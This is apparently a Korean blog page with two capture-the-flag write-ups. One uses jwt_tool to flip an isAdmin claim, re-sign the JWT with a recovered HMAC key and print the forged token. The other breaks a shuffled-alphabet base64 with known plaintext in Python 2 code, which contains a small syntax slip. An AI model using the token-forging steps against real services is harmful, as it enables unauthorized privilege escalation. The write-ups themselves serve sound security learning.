      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
 Version 1.3.2                \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = HS256
[+] typ = JWT

Token payload values:
[+] uid = 120
[+] isAdmin = False
[+] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[+] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[+] iss = c2w2m2

Seen timestamps:
[*] iat was seen
[+] exp is later than iat by: 1 days, 0 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1

====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================

Token header values:
[1] alg = HS256
[2] typ = JWT
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] uid = 120
[2] isAdmin = False
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of isAdmin is: False
Please enter new value and hit ENTER
> True
[1] uid = 120
[2] isAdmin = True
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 1

Please enter the known key:
> 40906795

Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4

config.js를 보면 HS256으로 되어 있기 때문에 HMAC-SHA256을 선택해준다.

 

 

 

 

 

새로운 토큰값으로 쿠키를 바꾸고 /flag로 접근하면 flag가 표시된다.

 

{"code":200,"flag":"XMAS{bru73-f0rc3-jw7_^^7}"}

 

반응형

'CTF Write Up' 카테고리의 다른 글

UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
X-MAS CTF 2019 X-MAS Helper write-up  (0) 2019.12.21
THE HACKING CHAMPIONSHIP JUNIOR 2019 FINAL Write-up  (0) 2019.12.10
반응형

System32.kr 

[EZB64] 풀이

 

 

 

코드는 이러하다 :

import flag
flag = flag.EZB64
story='''The usage "crib" was adapted from a slang term referring to cheating (e.g., "I cribbed my answer from your test paper"). A "crib" originally was a literal or interlinear translation of a foreign-language text-usually a Latin or Greek text-that students might be assigned to translate from the original language.
The idea behind a crib is that cryptologists were looking at incomprehensible ciphertext, but if they had a clue about some word or phrase that might be expected to be in the ciphertext, they would have a "wedge," a test to break into it. If their otherwise random attacks on the cipher managed to sometimes produce those words or (preferably) phrases, they would know they might be on the right track. When those words or phrases appeared, they would feed the settings they had used to reveal them back into the whole encrypted message to good effect.
In the case of Enigma, the German High Command was very meticulous about the overall security of the Enigma system and understood the possible problem of cribs. The day-to-day operators, on the other hand, were less careful. The Bletchley Park team would guess some of the plaintext based upon when the message was sent, and by recognizing routine operational messages. For instance, a daily weather report was transmitted by the Germans at the same time every day. Due to the regimented style of military reports, it would contain the word Wetter (German for "weather") at the same location in every message. (Knowing the local weather conditions helped Bletchley Park guess other parts of the plaintext as well.) Other operators, too, would send standard salutations or introductions. An officer stationed in the Qattara Depression consistently reported that he had nothing to report. "Heil Hitler," occurring at the end of a message, is another well-known example.
At Bletchley Park in World War II, strenuous efforts were made to use (and even force the Germans to produce) messages with known plaintext. For example, when cribs were lacking, Bletchley Park would sometimes ask the Royal Air Force to "seed" a particular area in the North Sea with mines (a process that came to be known as gardening, by obvious reference). The Enigma messages that were soon sent out would most likely contain the name of the area or the harbour threatened by the mines.
The Germans themselves could be very accommodating in this regard. Whenever any of the turned German Double cross agents sent a message (written by the British) to their respective handlers, they frequently obligingly re-encrypted the message word for word on Enigma for onward transmission to Berlin.
When a captured German revealed under interrogation that Enigma operators had been instructed to encode numbers by spelling them out, Alan Turing reviewed decrypted messages and determined that the number "eins" ("one") was the most common string in the plaintext. He automated the crib process, creating the Eins Catalogue, which assumed that "eins" was encoded at all positions in the plaintext. The catalogue included every possible position of the various rotors, starting positions, and keysettings of the Enigma.
The Polish Cipher Bureau had likewise exploited "cribs" in the "ANX method" before World War II (the Germans' use of "AN", German for "to", followed by "X" as a spacer to form the text "ANX").
The United States and Britain used one-time tape systems, such as the 5-UCO, for their most sensitive traffic. These devices were immune to known-plaintext attack; however, they were point-to-point links and required massive supplies of one time tapes. Networked cipher machines were considered vulnerable to cribs, and various techniques were used to disguise the beginning and ends of a message, including cutting messages in half and sending the second part first and adding nonsense padding at both ends. The latter practice resulted in the world wonders incident. The KL-7, introduced in the mid-1950s, was the first U.S. cipher machine that was considered safe against known-plaintext attack.
Classical ciphers are typically vulnerable to known-plaintext attack. For example, a Caesar cipher can be solved using a single letter of corresponding plaintext and ciphertext to decrypt entirely. A general monoalphabetic substitution cipher needs several character pairs and some guessing if there are fewer than 26 distinct pairs._______
'''
import base64,random,string
table = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
rtable = ''.join(random.sample(table,len(table)))
tb=string.maketrans(table,rtable)
orig=base64.b64encode(story+flag)
print(orig.translate(tb))
#Output : CpIMrXCk5u7MrSZoQcMsrsBy5LU45uKIQXKMGSBcQca0rpV4QxiI3cQ47pCw3qBwGuGMQYZt3cQ47p+45xIM5LKt3cQ4EpFgGwd/rSZZrpfwTuZsGul43LP45uJk7xCwrpGw3xe4jua1QsBeGLferXBIQpCwrsPgrVV4rcfwTursrpawTu7t3cn/3XP47xnkrpV43pMeGLZI3SB6QsBt3YKMQcit3cCIQsBeQcngQxiI7pM63sB6GsBIrpG6QcCtGxd03pngGyCIGxF47pCd7S11QyCI3piJrpV4OpneTud43yr4KyZMGu/47pCd7S1eTpnerXfe7uKM3YKkrp1tGxIerpZMrpnkQxMY3cCPrXK6rXKw5uJk3pneGqBcQca0rXKbGqB6QcMYTuJI3SB/5uJY7unYGqdESMKbGqBtGpCIrpZMTpMgGSBIrpfwTur4TLU47pII7SBoQYMz7pa/3x7tQyKkrX7MQcF43pa6TxMgGwBI7SBt3cf63LBwGuIM3Yft5ciMrpftQpIMQYKMjXl/rp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pngGSBx5LZt3yCkrXKM5xIgTLn1GLU47xCwGqB1QxCPrXK6rpKtQx71TLfMrXKbGqBsGu7t3cJt3cQ45uJPrpCgGXU43x545qB0GLfk5u7MhSBt3cf/7uKt3cQ45yCe7pMgGwB0GLfk5u7MQwBt3sBb5uicrpngGSBkGuJPTuJYrXKbGqBkGuf63cl4Qpnw7SBcTLZk7SBI3cl45uKPTuJYrpJ63YfM3YfMrXBIGpKt3cQ45Ll45caeTSBM3cKkhsBFTpF43pne7pCwrXBw5ufeTufMrXZMQyC/7pCPrpMgrXKbGqBy3yZ/GSBy3xJPGLZkrpMg5xMPGuJehsBFTpF4qez0fwz4TuJeQcaP7ufMGSBt3sBeTpF43uMPhOVJfOBkhSBy5LU47pIMrpGtQYfernFgFwd45xMzTpCwrp1I5xIt3cF47pII7SBy5LU45xagQxMPGLZMGSBk5uGMrpnY5uMgQyl4TxJ67xd0QpiITuJeGLIerpne7pnoTwdESPf/5LfkTufI3SBoTLBbGLZkrpnwGqBejLBt5xn/3XP47YC/3cCw5uZ/GqBe3wBN3cay3s1z3pnt3YKMjXl45LKe5ufNhsBp3yr4GLII3LB/Gqz45qBA5uCk5Lr45xMzTpCwrpfI3sBsGqBk3xixGul47Lft3cQ45qBkTuJY3pF43pCe7pCwrpacrpf6QYZMQyB63cKt3cQ4QpiITuJeGLIerpngGSBoTLBbGLZeGLIerXK6rpKM5yZJQXl4GuJeTLZM3XPgrVV4GxCgGLZI3SB03xJ65uizTpnsGLKt5wBk7uZk7pMe7LKt3xd45xMzTpCwrpJMGuKkrXfM7cCw5uz45xIIQcno7pCwrXBITLZkrpngGSBk3x1Mrp71GLfkTuJYrpMcrXKbGLZMrpnwGqBcGL7MQsBeTpngrArxrpKtQyKt3cferXBITLZkhMaWL1aWL1+EKciIGy0eTpMkLxMkLyK631aMjMac3yZWCCat3cMeHye=

 

table = A-Za-z0-9+/

 

stroy에 flag를 붙여서 base64 인코딩을 하고, 랜덤으로 만든 테이블로 치환을 해서 출력을 한다.

 

 

 

만약

table=ABCDE

rtable=qwert

이면, A는 q로, B는 w로 치환하는 것이다.

 

 

 

 

 

flag를 얻기 위해서는 rtable를 구해야 한다.

 

샘플을 충분히 제공하기 때문에, rtable를 쉽게 구할 수 있다.

 

story만을 base64로 인코딩하면 VGhlIHVzYWdlICJjcmliIi....이 나오는데

 

이를 Output과 비교를 하게 되면 V->C, G->p, h->I 이렇게 1:1대응이 된다.

 

 

 

 

 

 

1:1 대응 리스트를 쫙 뽑아서 rtable를 만들고 rtable->table로 Output를 바꿔주어서 base64 디코딩을 하면 flag를 구할 수 있다.

 

 

python2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
story='''The usage "crib" was adapted from a slang term referring to cheating (e.g., "I cribbed my answer from your test paper"). A "crib" originally was a literal or interlinear translation of a foreign-language text-usually a Latin or Greek text-that students might be assigned to translate from the original language.
 
The idea behind a crib is that cryptologists were looking at incomprehensible ciphertext, but if they had a clue about some word or phrase that might be expected to be in the ciphertext, they would have a "wedge," a test to break into it. If their otherwise random attacks on the cipher managed to sometimes produce those words or (preferably) phrases, they would know they might be on the right track. When those words or phrases appeared, they would feed the settings they had used to reveal them back into the whole encrypted message to good effect.
 
In the case of Enigma, the German High Command was very meticulous about the overall security of the Enigma system and understood the possible problem of cribs. The day-to-day operators, on the other hand, were less careful. The Bletchley Park team would guess some of the plaintext based upon when the message was sent, and by recognizing routine operational messages. For instance, a daily weather report was transmitted by the Germans at the same time every day. Due to the regimented style of military reports, it would contain the word Wetter (German for "weather") at the same location in every message. (Knowing the local weather conditions helped Bletchley Park guess other parts of the plaintext as well.) Other operators, too, would send standard salutations or introductions. An officer stationed in the Qattara Depression consistently reported that he had nothing to report. "Heil Hitler," occurring at the end of a message, is another well-known example.
 
At Bletchley Park in World War II, strenuous efforts were made to use (and even force the Germans to produce) messages with known plaintext. For example, when cribs were lacking, Bletchley Park would sometimes ask the Royal Air Force to "seed" a particular area in the North Sea with mines (a process that came to be known as gardening, by obvious reference). The Enigma messages that were soon sent out would most likely contain the name of the area or the harbour threatened by the mines.
 
The Germans themselves could be very accommodating in this regard. Whenever any of the turned German Double cross agents sent a message (written by the British) to their respective handlers, they frequently obligingly re-encrypted the message word for word on Enigma for onward transmission to Berlin.
 
When a captured German revealed under interrogation that Enigma operators had been instructed to encode numbers by spelling them out, Alan Turing reviewed decrypted messages and determined that the number "eins" ("one") was the most common string in the plaintext. He automated the crib process, creating the Eins Catalogue, which assumed that "eins" was encoded at all positions in the plaintext. The catalogue included every possible position of the various rotors, starting positions, and keysettings of the Enigma.
 
The Polish Cipher Bureau had likewise exploited "cribs" in the "ANX method" before World War II (the Germans' use of "AN", German for "to", followed by "X" as a spacer to form the text "ANX").
 
The United States and Britain used one-time tape systems, such as the 5-UCO, for their most sensitive traffic. These devices were immune to known-plaintext attack; however, they were point-to-point links and required massive supplies of one time tapes. Networked cipher machines were considered vulnerable to cribs, and various techniques were used to disguise the beginning and ends of a message, including cutting messages in half and sending the second part first and adding nonsense padding at both ends. The latter practice resulted in the world wonders incident. The KL-7, introduced in the mid-1950s, was the first U.S. cipher machine that was considered safe against known-plaintext attack.
 
Classical ciphers are typically vulnerable to known-plaintext attack. For example, a Caesar cipher can be solved using a single letter of corresponding plaintext and ciphertext to decrypt entirely. A general monoalphabetic substitution cipher needs several character pairs and some guessing if there are fewer than 26 distinct pairs._______
'''
 
tran='''CpIMrXCk5u7MrSZoQcMsrsBy5LU45uKIQXKMGSBcQca0rpV4QxiI3cQ47pCw3qBwGuGMQYZt3cQ47p+45xIM5LKt3cQ4EpFgGwd/rSZZrpfwTuZsGul43LP45uJk7xCwrpGw3xe4jua1QsBeGLferXBIQpCwrsPgrVV4rcfwTursrpawTu7t3cn/3XP47xnkrpV43pMeGLZI3SB6QsBt3YKMQcit3cCIQsBeQcngQxiI7pM63sB6GsBIrpG6QcCtGxd03pngGyCIGxF47pCd7S11QyCI3piJrpV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JMGuKkrXfM7cCw5uz45xIIQcno7pCwrXBITLZkrpngGSBk3x1Mrp71GLfkTuJYrpMcrXKbGLZMrpnwGqBcGL7MQsBeTpngrArxrpKtQyKt3cferXBITLZkhMaWL1aWL1+EKciIGy0eTpMkLxMkLyK631aMjMac3yZWCCat3cMeHye=
'''
 
import base64, string
table = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
table_dict = dict.fromkeys(table, '?')
#rtable = ''.join(random.sample(table,len(table)))
orig=base64.b64encode(story)
 
for i in range(0len(orig)-4):
    table_dict[orig[i]] = tran[i]
    #print(orig[i]+";;"+tran[i])
 
tdv = table_dict.values()
rtable=""
for j in range(len(table)):
    rtable += table_dict[table[j]]
print(rtable)
tb=string.maketrans(rtable,table)
btran = tran.translate(tb)
print(base64.b64decode(btran))
 
cs

 

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [RSA108] 풀이  (0) 2021.01.19
System32.kr [RSA107] 풀이  (0) 2021.01.18
System32.kr [RSA106] 풀이  (0) 2019.05.19
System32.kr [RSA104] 풀이  (0) 2019.05.19
System32.kr [RSA105] 풀이  (0) 2019.05.19

+ Recent posts